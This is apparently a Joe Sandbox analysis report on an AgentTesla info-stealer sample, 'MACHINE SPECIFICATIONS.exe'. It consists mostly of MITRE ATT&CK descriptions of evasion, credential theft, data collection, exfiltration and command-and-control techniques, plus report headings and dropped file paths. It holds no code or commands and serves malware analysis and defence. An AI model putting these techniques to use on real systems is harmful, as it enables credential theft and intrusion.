Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MACHINE SPECIFICATIONS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MACHINE SPECIFICATIONS.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\newapp.exe.log

C:\Users\user\AppData\Roaming\newapp\newapp.exe

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Network Behavior

Snort IDS Alerts

Windows Analysis Report
MACHINE SPECIFICATIONS.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre